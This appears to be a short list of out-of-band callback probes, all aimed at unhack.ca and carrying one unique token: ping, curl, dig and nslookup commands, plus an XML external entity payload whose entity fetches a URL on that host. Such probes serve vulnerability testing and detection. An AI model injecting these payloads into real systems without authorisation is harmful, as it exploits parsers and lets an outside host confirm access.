$ ping -c1 -p 00b740b3c3d2dfb41d9686a05ddf4d00 unhack.ca
 

$ curl http://unhack.ca/p/b740b3c3d2dfb41d9686a05ddf4d
 

$ dig b740b3c3d2dfb41d9686a05ddf4d @unhack.ca
 

$ dig b740b3c3d2dfb41d9686a05ddf4d.ns.unhack.ca
 

C:\> nslookup b740b3c3d2dfb41d9686a05ddf4d unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/b740b3c3d2dfb41d9686a05ddf4d">]>
    <foo>&xxe;</foo>